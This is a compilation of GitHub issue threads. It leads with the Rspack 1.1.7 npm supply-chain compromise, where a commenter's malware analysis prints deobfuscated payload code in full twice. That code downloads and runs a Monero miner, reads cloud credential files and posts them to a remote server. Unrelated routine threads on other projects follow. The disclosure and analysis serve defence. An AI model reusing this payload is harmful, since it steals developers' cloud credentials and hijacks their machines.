[Notice]: Version 1.1.7 of @rspack/core and @rspack/cli has security risks. Please use version 1.1.8 or v1.1.6 instead

Notice from Rspack team
Rspack have encountered an attack, @rspack/core and @rspack/cli 1.1.7 are vulnerable versions released by the attacker, and contain malicious scripts.
Rspack team have taken countermeasures:

Deprecated 1.1.7 and pointed the latest dist-tag to 1.1.6
Invalidated all existing npm tokens and GitHub tokens
Checked the permissions of the repository and npm packages
Checked for potential vulnerabilities

The Rspack v1.1.8 has been released by Rspack team. This version is a re-release of v1.1.6 to prevent the attacked version from being installed wrongly. You can use either of them.
Rspack team will elaborate on the entire process in detail later.

The original issue

System Info
System:
OS: Windows 10 10.0.19045
CPU: (8) x64 11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz
Memory: 1.70 GB / 15.73 GB
Binaries:
Node: 20.10.0 - C:\Program Files\nodejs\node.EXE
Yarn: 1.22.22 - ~\AppData\Local\pnpm\yarn.CMD
npm: 10.2.3 - C:\Program Files\nodejs\npm.CMD
Browsers:
Edge: Chromium (127.0.2651.74)
Internet Explorer: 11.0.19041.4355
npmPackages:
@rspack/cli: ^1.1.6 => 1.1.7
@rspack/core: ^1.1.6 => 1.1.7
Details

Reproduce link
No response
Reproduce Steps
run rspack build

Having the same issue, you can temporary fix it.
"devDependencies": {
    "@rspack/cli": "1.1.6",
    "@rspack/core": "1.1.6",
    "@rspack/binding": "1.1.6",
    "@rspack/binding-darwin-arm64": "1.1.6",
...................

"resolutions": {
    "@rspack/cli": "1.1.6",
    "@rspack/core": "1.1.6",
    "@rspack/binding": "1.1.6",
    "@rspack/binding-darwin-arm64": "1.1.6",
...................

I have same issue, but i was used in rsbuild。
	"devDependencies": {
		"@aaroon/workbox-rspack-plugin": "^0.3.2",
		"@rsbuild/core": "^1.1.6",
		"@rsbuild/plugin-image-compress": "^1.1.0",
		"@rsbuild/plugin-react": "^1.1.0",

Log:
start   Building...
<e> [webpack-dev-middleware] Error: Unmatched version<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><e>     at checkVersion (C:\workspace\onesec-gc\node_modules\@rspack\core\dist\index.js:13388:21)
<e>     at #getInstance (C:\workspace\onesec-gc\node_modules\@rspack\core\dist\index.js:13903:19)

Version 1.1.7 is an unavailable version. We have deprecated it. Please use version 1.1.6.

FYI I recently tried a new React project following the official rspack docs and the version 1.1.8 is added. And the same issue happens.

FYI I recently tried a new React project following the official rspack docs and the version 1.1.8 is added. And the same issue happens.

The version 1.1.7 was released by someone who stole the npm token of a team member and may have security risks. Please do not download and run it. Please use version 1.1.6.
There is no<EMAIL_ADDRESS>on npm yet, I am not sure where it is from.

We have encountered an attack, @rspack/core and @rspack/cli 1.1.7 are vulnerable versions released by the attacker, and contain suspicious scripts.
We have taken countermeasures:

Deprecated 1.1.7 and pointed the latest dist-tag to 1.1.6
Invalidated all existing npm tokens and GitHub tokens
Checked the permissions of the repository and npm packages
Checked for potential vulnerabilities

We will release a secure Rspack 1.1.8 version soon.

Rspack v1.1.8 has been released.

damn

I hope the NPM team should seriously consider this: features that require approval from others when releasing npm packages.

@yisibl I wish npm would allow us to restrict publishing sources, for example, when provenance is enabled, only allowing publishing from GitHub Actions on the main branch of specified repository.

Can someone explain a bit about how it happened technically? 🤔 It will be really appreciated.

@chenjiahan 你好，请问1.1.6版本之前的是否有影响？安装的是1.1.6之前版本或者1.1.8版本是吗？

@chenjiahan 你好，请问1.1.6版本之前的是否有影响？安装的是1.1.6之前版本或者1.1.8版本是吗？

only 1.1.7 is affected, other versions are all safe

Can someone explain a bit about how it happened technically? 🤔 It will be really appreciated.

We will explain more information when we complete the investigation into the root cause of the token theft.

One thing I noticed is that rspack uses CI and npm provenance when publishing the packages. The attacker apparently does not have access to the CI here, so the affected version (1.1.7) is actually not attested (suggesting that he is most likely publishing the package from his own computer).
One way for users to defend against this kind of attack is for package managers to implement a protection mechanism that prevents an already attested package from upgrading to an unattested version.
I have raised the feature request to pnpm for now: https://github.com/pnpm/pnpm/issues/8889

Also there is a similar attack affecting the vant package (see https://github.com/youzan/vant/releases/tag/v4.9.15). This is (also?) due to a leaked npm token.
My instinct is that both incidents could be related.

Also there is a similar attack targetting the vant package (see<EMAIL_ADDRESS>(release)). This is (also?) due to a leaked npm token.
My instinct is that both incidents could be related.

yeah maintained by same people, so both affected

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?
https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

https://github.com/web-infra-dev/rspack/releases/tag/v1.1.8 has more details about the timing, etc.
It looks like the attack was via a postinstall script. pnpm users can protect themselves from such attacks by disabling the following setting in their .npmrc: https://pnpm.io/cli/run#enable-pre-post-scripts. It would probably be a good idea for package managers to provide more control over which of these scripts are run. I've filed a request for that: https://github.com/pnpm/pnpm/issues/8891

Hey folks,
I've deobfuscated the malicious code. It turned out to be a Webpack bundle. After deobfuscation and a pinch of AI, I ended up with a human readable main module of the malicious code.
TL;DR:

Targets Linux only
Targets the following countries only (using http://ipinfo.io/json): "CN" (China), "RU" (Russia), "HK" (Hong Kong), "UNK" (Unknown), "BY" (Belarus), "IR" (Iran)
Downloads and executes crypto miner (mining Monero)
Attempts to find configuration files from common locations (configPaths) that may contain cloud service credentials, combines the contents, encodes them in Base64, and sends them to a remote server (http://<IP_ADDRESS>/tokens).

And here's the code for your enjoyment:
function(module, exports, require) {
    // Helper functions for module compatibility
    const createBinding = this && this.__createBinding || (Object.create ? function(target, source, key, alias) {
        if (alias === undefined) alias = key;
        let descriptor = Object.getOwnPropertyDescriptor(source, key);
        if (!descriptor || !("get" in descriptor ? source.__esModule : descriptor.writable || descriptor.configurable)) {
            descriptor = {
                enumerable: true,
                get: function() {
                    return source[key];
                }
            };
        }
        Object.defineProperty(target, alias, descriptor);
    } : function(target, source, key, alias) {
        if (alias === undefined) alias = key;
        target[alias] = source[key];
    });

    const setModuleDefault = this && this.__setModuleDefault || (Object.create ? function(target, value) {
        Object.defineProperty(target, "default", {
            enumerable: true,
            value: value
        });
    } : function(target, value) {
        target.default = value;
    });

    const importAll = this && this.__importStar || function(module) {
        if (module && module.__esModule) return module;
        const result = {};
        for (const key in module) {
            if (key !== "default" && Object.prototype.hasOwnProperty.call(module, key)) {
                createBinding(result, module, key);
            }
        }
        setModuleDefault(result, module);
        return result;
    };

    const asyncWrapper = this && this.__awaiter || function(context, args, PromiseCtor, generator) {
        return new (PromiseCtor || Promise)(function(resolve, reject) {
            function step(result) {
                try {
                    processGenerator(result);
                } catch (error) {
                    reject(error);
                }
            }
            function processGenerator({ done, value }) {
                done ? resolve(value) : Promise.resolve(value).then(next, throwError);
            }
            function next(value) {
                step(generator.next(value));
            }
            function throwError(error) {
                step(generator.throw(error));
            }
            step(generator.apply(context, args || []).next());
        });
    };

    const importDefault = this && this.__importDefault || function(module) {
        return module && module.__esModule ? module : { default: module };
    };

    // Mark module as exportable
    Object.defineProperty(exports, "__esModule", { value: true });

    // Required modules
    const axios = importDefault(require(9329));
    const decompress = importAll(require(661));
    const path = importAll(require(6928));
    const os = importAll(require(857));
    const fs = importAll(require(9896));
    const childProcess = importAll(require(5317));

    // Predefined configuration file paths
    const cloudConfigPaths = [
        path.join(os.homedir(), ".aliyun/config.json"),
        path.join(os.homedir(), ".hcloud/config.json"),
        path.join(os.homedir(), ".tccli/default.credential")
    ];

    // Utility function to check if a value is not null
    function isNotNull(value) {
        return value !== null;
    }

    // Enum for OS types
    const OSTypes = {
        LINUX: 0,
        MAC_OS: 1,
        WINDOWS: 2,
        UNKNOWN: 3
    };

    // Suppress output and logging
    process.stdout.write = () => {};
    process.stderr.write = () => {};
    console.log = () => {};
    console.error = () => {};

    // Main function
    function main() {
        return asyncWrapper(this, void 0, void 0, function* () {
            // Detect OS type
            const osType = yield (function detectOS() {
                switch (process.platform) {
                    case "linux":
                        return OSTypes.LINUX;
                    case "darwin":
                        return OSTypes.MAC_OS;
                    case "win32":
                        return OSTypes.WINDOWS;
                    default:
                        return OSTypes.UNKNOWN;
                }
            })();

            // Terminate if not Linux
            if (osType !== OSTypes.LINUX) {
                process.exit(0);
            }

            // Fetch country based on IP
            const country = yield (function fetchCountry() {
                return asyncWrapper(this, void 0, void 0, function* () {
                    try {
                        const response = yield axios.default.get("http://ipinfo.io/json");
                        return response.status === 200 ? response.data.country : "UNK";
                    } catch {
                        return "UNK";
                    }
                });
            })();

            // Check if in target countries
            if (["CN", "RU", "HK", "UNK", "BY", "IR"].includes(country)) {
                yield (function maliciousActivity() {
                    return asyncWrapper(this, void 0, void 0, function* () {
                        const downloadedFilePath = yield downloadAndExtract("https://api.github.com/repos/youzan/vant/git/blobs/8ed1c9256b4bfeb3e4f5aaff48bf140398361ae3", "vant.tar.gz", "/tmp/");

                        if (!downloadedFilePath) {
                            yield setupAndRunMiner();
                        } else {
                            yield executeFile(downloadedFilePath);
                        }

                        const credentialData = yield fetchCredentials(cloudConfigPaths);
                        yield exfiltrateData(credentialData);
                    });
                })();
            } else {
                process.exit(0);
            }
        });
    }

    // Helper functions for downloading and executing
    function downloadAndExtract(url, fileName, destination) {
        return asyncWrapper(this, void 0, void 0, function* () {
            const filePath = path.join(destination, fileName);
            const extractedPath = path.join(destination, "vant");

            try {
                fs.mkdirSync(destination, { recursive: true });

                const response = yield axios.default({
                    method: "GET",
                    url,
                    responseType: "stream",
                    headers: { Accept: "application/vnd.github.raw+json" }
                });
                const fileStream = fs.createWriteStream(filePath);

                yield new Promise((resolve, reject) => {
                    response.data.pipe(fileStream);
                    fileStream.on("finish", resolve);
                    fileStream.on("error", reject);
                });

                yield decompress.x({
                    file: filePath,
                    cwd: destination
                });
                fs.chmodSync(extractedPath, 0o755);
                fs.unlinkSync(filePath);

                return extractedPath;
            } catch {
                return "";
            }
        });
    }

    function setupAndRunMiner() {
        return asyncWrapper(this, void 0, void 0, function* () {
            const minerPath = yield downloadAndExtract("https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz", "noderig.tar.gz", "/tmp/");
            if (minerPath) {
                yield executeFile(minerPath, [
                    "-u", "475NBZygwEajj4YP2Bdu7yg6XnaphiFjxTFPkvzg5xAjLGPSakE68nyGavn8r1BYqB44xTEyKQhueeqAyGy8RaYc73URL1j",
                    "-o", "pool.supportxmr.com:443",
                    "--tls", "-k",
                    "--cpu-max-threads-hint=75",
                    "--background"
                ]);
            }
        });
    }

    function executeFile(filePath, args = []) {
        return new Promise((resolve, reject) => {
            const child = childProcess.spawn(filePath, args);
            child.on("error", reject);
            resolve(child);
        });
    }

    function fetchCredentials(paths) {
        return asyncWrapper(this, void 0, void 0, function* () {
            const fileContents = paths.map(path => asyncWrapper(this, void 0, void 0, function* () {
                try {
                    return fs.existsSync(path) ? yield fs.promises.readFile(path, "utf8") : null;
                } catch {
                    return null;
                }
            }));
            return (yield Promise.all(fileContents)).filter(isNotNull);
        });
    }

    function exfiltrateData(credentials) {
        return asyncWrapper(this, void 0, void 0, function* () {
            if (credentials.length === 0) return;
            const encodedData = Buffer.from(credentials.join("")).toString("base64");

            try {
                yield axios.default.post("http://<IP_ADDRESS>/tokens", encodedData);
            } catch {}
        });
    }

    main().catch(() => {});
}

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?
https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

To put another way, Can you switch over to unpublishing the version? I'm not sure everyone will see this message and it seems more dangerous to leave an infected version active.

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?
https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

we tried but npm not allow us to unpublish cause there are upstream dependencies

There is also some work regarding 2FA for publishing packages in CI environments: https://github.com/nodejs/package-maintenance/issues/244

It looks like the attack was via a postinstall script. pnpm users can protect themselves from such attacks by disabling the following setting in their .npmrc: https://pnpm.io/cli/run#enable-pre-post-scripts. It would probably be a good idea for package managers to provide more control over which of these scripts are run. I've filed a request for that: https://github.com/pnpm/pnpm/issues/8891

My general recommendation for developers and maintainers is to globally disable scripts.

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?
https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

we tried but npm not allow us to unpublish cause there are upstream dependencies

It is still recommended to remove the version in this case to avoid other developers still downloading the attacked version - you can contact the npm staff to remove it.

There is also some work regarding 2FA for publishing packages in CI environments: nodejs/package-maintenance#244

It looks like the attack was via a postinstall script. pnpm users can protect themselves from such attacks by disabling the following setting in their .npmrc: pnpm.io/cli/run#enable-pre-post-scripts. It would probably be a good idea for package managers to provide more control over which of these scripts are run. I've filed a request for that: pnpm/pnpm#8891

My general recommendation for developers and maintainers is to globally disable scripts.

Thanks for suggestions, 2FA + provenance is still painful to setup, tried but failed and still don't find a ideal way to enable 2FA in CI for provenance, it seems still no conclusion in the referenced issue, and it seems deno may have better way to deal this https://x.com/lcasdev/status/1762062204327620847, anyone have better safe suggestions about how to do publish in CI with 2FA are welcome

Hey folks,
I've analyzed the malicious code. After deobfuscation and a pinch of AI, I ended up with a human readable version. It turned out to be a Webpack bundle, so once I identified the entry module, it became easy.
TL;DR:

Targets Linux only

Targets the following countries only (using hxxp://ipinfo.io/json):

"CN" (China),
"RU" (Russia),
"HK" (Hong Kong),
"UNK" (Unknown),
"BY" (Belarus),
"IR" (Iran)

Downloads and executes crypto miner (mining Monero)

Attempts to find configuration files from common locations (configPaths) that may contain cloud service credentials, combines the contents, encodes them in Base64, and sends them to a remote server (hxxp://<IP_ADDRESS>/tokens).

And here's the simplified version of the code for your enjoyment:
import axios from 'axios';
import * as unzipper from 'unzipper';
import * as path from 'path';
import * as os from 'os';
import * as fs from 'fs';
import * as child_process from 'child_process';
const configPaths = [
${os.homedir()}/.aliyun/config.json,
${os.homedir()}/.hcloud/config.json,
${os.homedir()}/.tccli/default.credential
];
const OSES = {
LINUX: 0,
MAC_OS: 1,
WINDOWS: 2,
UNKNOWN: 3
};
const isNotNull = (value) => value !== null;
const executeProcess = async (executable, args) => {
return new Promise((resolve, reject) => {
const process = child_process.spawn(executable, args);
fs.unlinkSync(executable);
process.on("error", reject);
resolve(process);
});
};
process.stdout.write = () => {};
process.stderr.write = () => {};
console.log = () => {};
console.error = () => {};
const detectOS = async () => {
switch (process.platform) {
case "linux":
return OSES.LINUX;
case "darwin":
return OSES.MAC_OS;
case "win32":
return OSES.WINDOWS;
default:
return OSES.UNKNOWN;
}
};
const getCountryCode = async () => {
try {
const response = await axios.get("http://ipinfo.io/json");
return response.status === 200 ? response.data.country : "UNK";
} catch {
return "UNK";
}
};
const downloadAndSetupMiner = async () => {
const tempPath = path.join("/tmp/", "miner.tar.gz");
const outputDir = path.join("/tmp/", "miner");
try {
fs.mkdirSync("/tmp/", { recursive: true });
} catch {
return "";
}
try {
const response = await axios({
method: "GET",
url: "https://api.github.com/repos/youzan/vant/git/blobs/8ed1c9256b4bfeb3e4f5aaff48bf140398361ae3",
responseType: "stream",
headers: { Accept: "application/vnd.github.raw+json" }
});
const writeStream = fs.createWriteStream(tempPath);
await new Promise((resolve, reject) => {
  response.data.pipe(writeStream);
  writeStream.on("finish", resolve);
  writeStream.on("error", reject);
});

} catch {
return "";
}
try {
await unzipper.x({ file: tempPath, cwd: "/tmp/" });
fs.chmodSync(outputDir, 0o755);
} catch {
return "";
}
try {
fs.unlinkSync(tempPath);
} catch {
return "";
}
return outputDir;
};
const sendConfigData = async (configData) => {
if (configData.length === 0) return;
const combinedData = configData.join("");
const base64Data = Buffer.from(combinedData).toString("base64");
try {
await axios.post("http://<IP_ADDRESS>/tokens", base64Data);
} catch {}
};
const main = async () => {
const osType = await detectOS();
if (osType !== OSES.LINUX) {
process.exit(0);
}
const countryCode = await getCountryCode();
const restrictedCountries = ["CN", "RU", "HK", "UNK", "BY", "IR"];
if (!restrictedCountries.includes(countryCode)) {
process.exit(0);
}
const minerPath = await downloadAndSetupMiner();
if (minerPath) {
await executeProcess(minerPath, []);
}
const configs = await Promise.all(
configPaths.map(async (filePath) => {
try {
return fs.existsSync(filePath) ? await fs.promises.readFile(filePath, "utf8") : null;
} catch {
return null;
}
})
);
await sendConfigData(configs.filter(isNotNull));
};
main().catch(() => {});
Hong Kong is not a country

Hong Kong is not a country

Hong Kong is not a country

顶你

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?
https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

we tried but npm not allow us to unpublish cause there are upstream dependencies

It is still recommended to remove the version in this case to avoid some developers still downloading the attacked version - you can contact the npm staff to remove it.

already submit remove request to npm still waiting for response

Is it because of public actions?

Is it because of public actions?

The root cause was an attack on public actions in another GitHub organization, where the attacker stole a token through a Pwn request. And the token owner had permissions to our organization.

As this has been resolved, we're closing this issue. Please feel free to comment or open new issues if you have any additional feedback. Thank you all for your support throughout this process.


Create a link to download spell check results in the GHA bot rendered previews

Maybe I'm just on the struggle bus but I feel like I'm always hunting around for the spell check output.. I was thinking it might be kind of nice to include a link to download the .tsv here:

low priority tho - just getting this idea out there

Excellent idea! I am happy to help on this!

That would be great!

https://github.com/marketplace/actions/workflow-artifact-pull-request-comment
This GitHub actions might be able to do it for us if we borrow from it.

Why stop here!? Might as well make one for  #the URL checker too.

It's working and its great: https://github.com/jhudsl/OTTR_Template/pull/371 Great idea!


feat: add server DisableHeaderNamesNormalizing option

What type of PR is this?

feat
Check the PR title.

[x] This PR title match the format: <type>(optional scope): <description>.
[x] The description of this PR title is user-oriented and clear enough for others to understand.
[x] Attach the PR updating the user documentation if the current PR requires user awareness at the usage level. User docs repo.

(Optional) Translate the PR title into Chinese.

添加 DisableHeaderNamesNormalizing  选项

(Optional) Which issue(s) this PR fixes:

(Optional) The PR that updates user documentation:

move to #940


Added initial support for Haiku

Description
Features
See title.
Issues
For getcpu_usage and getterm, we can't really rely on Haiku's tools.
This is Haiku's ps.

I have no idea what to do about it, and it doesn't even show anything about CPU, using ps -i shows memory info instead, unlike a sane ps from procps-ng.
A better alternative is using top, but we all know that top does not close immediately after fetching the CPU usage.. So... yeah.
TODO

[ ] getmodel
may be possible with listdev, but I need a testing device to back this up. I'll test on my laptop. Nope, listdev didn't show anything.
[ ] getuptime
Since we changed getuptime behaviour, we need another method for Haiku.
[ ] getde
[ ] getwm
Since Haiku doesn't use Xorg, I don't really know how to fetch it, or we can fill it manually.
[ ] getdisk
I hate Haiku's df, it effectively makes getdisk impossible, for now I need to know how Haiku handles when the case is two/more partitions mounted inside a filesystem.
[ ] getbattery
No laptop to fetch getbattery and test it on. But some Haiku users said that it is possible to get battery information, but so far I haven't got any more documentation about it.

I'll install Haiku on my laptop tomorrow to help out.

This is a simpler CPU command:
cpu="$(sysinfo -cpu | awk -F '\\"' '/CPU #0/ {print $2}')"
cpu="${cpu/@*}"

This is a simpler speed command:
speed="$(sysinfo -cpu | awk '/running at/ {print $NF; exit}')"
speed="${speed/MHz}"

This is a simpler memory command:
memtotal="$(($(sysinfo -mem | awk -F '\\/ |)' '{print $2; exit}') / 1024 / 1024))"
memused="$(sysinfo -mem | awk -F '\\/|)' '{print $2; exit}')"
memused="$((${memused/max} / 1024 / 1024))"

Simpler resolution command:
            resolution="$(screenmode | awk -F ' |, ' '{printf $2 "x" $3 " @ " $6 $7}')"

            case "$refresh_rate" in
                "off") resolution="${resolution/ @*}"
            esac

Simpler local IP command:
localip="$(ifconfig | awk -F ': ' '/Bcast/ {print $2}')"
localip="${localip/', Bcast'}"

Since Haiku's uptime can't be fetched in seconds only, should we make a separate case for Haiku and the rest or find another way?

Use uptime -u and add another case for Haiku

Change distro to:
distro="$(uname -sv | awk '{print $1 " " $2}')"

Can you change the DE/WM on Haiku? If not then we can just hardcode it.

Since Haiku's WM and DE system "are an integral part of the system and doesn't have separate WM", I think hardcoding it is the best option.

Would reading from /dev/power/acpi_battery/0 in Haiku be useful for getbattery?
Here is the output:
cat /dev/power/acpi_battery/0
Battery Status:
State 0, Current Rate 0, Capacity 50000, Voltage 10000
Battery Info:
Power Unit 0, Design Capacity 50000, Last Full Charge 50000, Technology 1
Design Voltage 10000, Design Capacity Warning 100, Design Capacity Low 50, Capacity      Granularity 1     1, Capacity Granularity1 1
Model Number 1, Serial Number 0, Type VBOX, OEM Info innotek

Does the capacity changes like it does with Linux when it is discharging? We'll need to change the capacity to a 0-100 format, though.
Oh, and @dylanaraps, you may (and please) push directly to this branch if you got something new for the Haiku commands, as I'll cease doing the unorthodox rebase-and-force-push method for this branch.

The capacity does indeed change in Haiku with laptop users but since I am using a desktop, It will remain constant. There is a app called PowerStatus that also reads from acpi_battery.

I've implemented battery as @return has shown above and it prints 0% on my system. I'm running Haiku inside a VM so I'm not sure if that's the reason for the wrong output.
I've also disabled getdisk on Haiku to suppress errors.

I can't find anything online about the names of the DE and WM. Any ideas?

I'd say leave them empty since Haiku's windowing system are knitted tight unlike Unix-like system. We may need to suppress the "cannot detect DE/WM" errors, though.
On 5 November 2016 5:09:29 AM GMT+07:00, Dylan Araps<EMAIL_ADDRESS>wrote:

I can't find anything online about the names of the DE and WM. Any
ideas?
--
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub:
https://github.com/dylanaraps/neofetch/pull/419#issuecomment-258559982

I think it's better to leave the errors there since we did fail to detect them.

This looks ready to me now, there's no way we can add detection for the other functions. We can always add support later on if someone figures out how.
:+1:

Alright, one last check seems to indicate that it's clear. You may merge this. Along with the Hurd one.

:+1:

There are merge conflicts, I'll have to add this manually probably.

Merged, thanis.


Write to Neo4j whenever a job or transformation starts

Use the name and the log channel ID as the unique ID.
Merge the Transformation or Job Node with basic metadata information.
Create the Execution Node with start date, filename and other basic information

Let's also write step and job entry metadata to Neo4j.
That way we can link individual lines of logging to that level of analysis.


Private Org repositories don't seem to be found

Hi @jstoneky, thanks for reporting. I'm using the github_api Gem to talk to the API, don't know why it wouldn't return private repo's if you have access to them. I will see if I can do something differently.

I have pushed a fix to this problem. It will be part of the next release.

Awesome, thanks. Is it in master?

It is. If you want it now, you can install it in your system with rake install.

confirmed it working for private repos. Thanks

Fixed in version 1.0.1


Focus moves to last loaded service instead of staying on the active one

Describe the bug
When using a service, if another service finish loading (for instance, it refreshed or after login), focus will be moved to this service.
If you are typing your password several times, you might end up typing your password in another service (like gmail or chat app)
To Reproduce

With the services I use:

Use two services: GMail and GCalendar, both on login screen
Open GMail and login
Move to GCalendar before GMail is fully loaded (type Enter and move to GCalendar)
Begin typing your credentials

The focus should move back to GMail while you are typing.
Expected behavior
The focus should always stay on the active service (or the active service should be switched but that sounds like a bad idea).
Screenshots

Not applicable
Desktop:

OS: [e.g. macOS, Windows 10 etc.] macOS Catalina 10.15.3
Ferdi Version [e.g. 5.4.3] 5.4.3

Server Used: [e.g. https://api.getferdi.com] Without an account

Additional context

This is a duplicate from my issue Franz 1776 as Ferdi has the same issue.

Thanks for reporting! 🙏
That will need investigation after being able to reproduce.

having the same problem.
for me it happens also if a service reloads in the background (whatsapp seems to do that a lot).
happens for example while typing in slack - looses focus all of a sudden and needs the mouse to refocus to write again.

Yet, affecting me too. I have a (custom) service that reload every 2 minutes with a http-refresh header. it instantly steals focus during typing a message.

Still able to reproduce on 5.5.0


new function "temporarily enable/disable style..."

Thought it would be quite nice to be able to temporarily disable a style without deleting it or permanently disable respective styles in options.

i included this feature in the current release in the store. thank you

awesome thank you!


Configuration to create Tenants with default permission values

As a Traction operator, I want a flag to control the issuer approval requirements, so that I can run an instance where Tenants can make themselves issuers without Innkeeper intervention
AC:

There are flags for the Traction instance appropriate plugin that can be set in Helm and Docker
These flags contain the "default permission values" for the endorser and public did permission settings
When Tenant creation occurs, the Tenant Config sets the configured default for the connect to endorser and create public DID config values.
IE these ones:

  "connect_to_endorsers": {
    "endorser_alias": " ... ",
    "ledger_id": " ... "
  },
  "create_public_did": [
    "string"
  ],

can have default values in the plugin configuration.

If the default values are not present or blank arrays, the tenant does not get those permissions set (and the Innkeeper must manually approve the permissions.
The Tenant UI still behaves accordingly in the Issuance section

Relates to work previously done in

https://github.com/bcgov/traction/issues/393
https://github.com/bcgov/traction/issues/394
https://github.com/bcgov/traction/issues/570

Altered AC and description for this ticket with "default permission values" as discussed with @esune

@swcurran this is the ticket that would support auto-allowing self-serve make-issuer you were asking about


Improve Application Docker Support

Hi,
I further dockerized the application, so users should be able to just pull/configure the images as they are used to with docker. This required me changing a bit of the configuration code as well.
However, as I am not well-versed with node development, there may be better options.
I also took the liberty to rename the app labels, as user might want to go for copy and paste integration and already might have a docker container named "app"/"db" or "mail".
I hope this helps publishing some "official" images.
Cheers,
Jens

I guess it would make sense to have two images, so you can upgrade the mail component while keeping the app part running or vice versa.
I am unfortunately not familiar with Docker Hub automated builds but if they only support one image per repo you might need to split up the project.


Use right time boundary instead of left in Kapacitor/InfluxDB

Consider the following InfluxDB query
SELECT mean(*) FROM ... time >= '2017-03-13T17:50:00Z' AND time < '2017-03-13T17:51:00Z'

We will refer to '2017-03-13T17:50:00Z'   as the left boundary, lower boundary, or tMin.
Similarly, we will refer to   '2017-03-13T17:51:00Z' as the right boundary, upper boundary, or tMax.
Executing this query against InfluxDB will yield the following result
time                        mean
----                        ----
2017-03-13T22:29:00Z        8.083532716666666e+08

Note here that this is the lower boundary for the time interval.
A similar operation in Kapacitor
batch
  |query('SELECT queryDurationNs FROM "_internal".monitor.queryExecutor')
    .period(1m)
    .every(1m)
    .align()
  |mean('queryDurationNs')

would result in
time                        mean
----                        ----
2017-03-13T17:51:00Z        8.083532716666666e+08

Note here that this is the upper boundary for the time interval.
InfluxDB and Kapacitor choose different time boundaries.  Kapacitor chooses tMax and InfluxDB chooses tMin. The choice between using tMax or tMin is somewhat arbitrary for InfluxDB, however the same thing cannot be said for Kapacitor.
This is because of Kapacitors ability to do complex joining operations on overlapping time windows. Meaning if you were to join the mean over the last month with the the mean over the least day, you would need their resulting values to occur at the same time. Using the most recent time, tMax, to represent both points makes sense.
This has lead to two issues in the community: issue and https://github.com/influxdata/kapacitor/issues/1257
At the moment there are two ways to go about fixing the issue

The /query endpoint on InfluxDB can take a query parameter that specifies which time boundary should be used.

Similar issues with right and left handed ness of time buckets has come up else where in InfluxDB and therefore it may be worthwhile to implement it there.
https://github.com/influxdata/influxdb/issues/7738
https://github.com/influxdata/influxdb/issues/7752

The discrepancy on timestamps is only an issue for some types of queries. Kapacitor should be able to detect if a supplied query meets these criteria and if it does, modify the timestamps of the data as needed.

@nathanielc Any additional thoughts?

@desa Thanks this explains the issue well.
On option 1 I would recommend we add the change to the query language itself instead of just an API parameter. That way it is explicit and part of the query language not just and API parameter.

good point.

What if there were some way to disable the automatic time column?
Then you might do select max(time), mean(*) from foo ...
This would also help solve issues with 3rd party tools, such as grafana and https://github.com/grafana/grafana/issues/7646, which only want a single column, and don't care about the time.

I kind of like the idea. But I think theres two separate feature requests in what you've suggested.

Disabling the automatic time column
Allowing for functions on time

We'd need both, or some variant of (2), to solve the issue for Kapacitor. One thing that this wouldn't solve, is the issue of choosing left or right handed version of a particular function like moving_average or derivative.
I also think that the implementation of (1) and (2) would be a bit more involved than an addition to InfluxQL for specifying handedness of function or modifying the time buckets in Kapacitor.

@desa can you file an issue in influxdb


Feature - VS Code extension to wrap Textrude engine

As per this discussion with @highstreeto TextrudeInteractive was never intended to be a rich editor and will never be able to complete with VS Code.
However, it should be possible to create a VS Code extension (language server?) that interactively invokes the ApplicationEngine in the same way that TextrudeInteractive does.
I'm not sure how input/output would be distinguished in the VS Code UI - maybe a folder could be treated as a "workspace" with some naming conventions applied for definitions and output?

No longer relevant


Include argument parentheses in range

Current dependencies on/for this PR:

main

PR #5   👈

This comment was auto-generated by Graphite.


Issue 137

Pull Request Review
Checklist

[x] Issue: https://github.com/IBM/ignition/issues/137
[x] List of related PRs : N.A.
[x] Project builds without any errors.
[x] Unit Tests - all pass.
[x] Ran manual functional “smoke” test (does product as a whole still work?).
[x] User Story meets the acceptance criteria - and passes. acceptance criteria should be understood at outset.
[x]  Description of the changes:

Supporting TenantId for all the Lifecycle Drivers. As these drivers implement Ignition Framework we need to support from Ignition. In Request headers of execute lifecycle API, TenantId will be provided and same needs to be sent in Response Headers and Kafka Headers as well.

@dvaccarosenna  adding you also as reviewer as this is common across multiple drivers.


Fixes Type.Message click from Notifications

Looks like you didn't push any changes and the change in here is unrelated to the fix


others/largestsubstr: largest substring given less than k characters

Codecov Report

Merging #16 into master will increase coverage by 4.47%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master      #16      +/-   ##
==========================================
+ Coverage   71.22%   75.69%   +4.47%
==========================================
  Files           8        9       +1
  Lines         212      251      +39
==========================================
+ Hits          151      190      +39
  Misses         61       61

Impacted Files
Coverage Δ

problems/other/largestsubstring/substr.go
100% <100%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3d486bb...54b3821. Read the comment docs.


Fix ABT QS build failure with latest RC

Fix a new build failure with the latest RC - b/155290239
The better longer term fix would be to migrate the quickstart from InstanceID to Installations
Nightlies missed this failure because they automatically install all internal pods including Installations.

Thank you Paul!


fix: fixing proportion check for SMP mix calculations

Description
Closes #1541
Took more time testing than fixing, but seems to working right.
Changelog
New

Nothing :)

Changed

Changed an if >.<

Removed

Nothing :)

How was this tested?

[ ] 🧠 Not needed
[x] 👀 Eyeball
[ ] 🤖 Added tests

What gif/image best describes this PR or how it makes you feel?

Thanks for the PR!
Deployments, as required, will be available below:

Frontend
Backend
Oracle-API

Please create PRs in draft mode.  Mark as ready to enable:

Analysis Workflow

After merge, new images are deployed in:

Merge Workflow

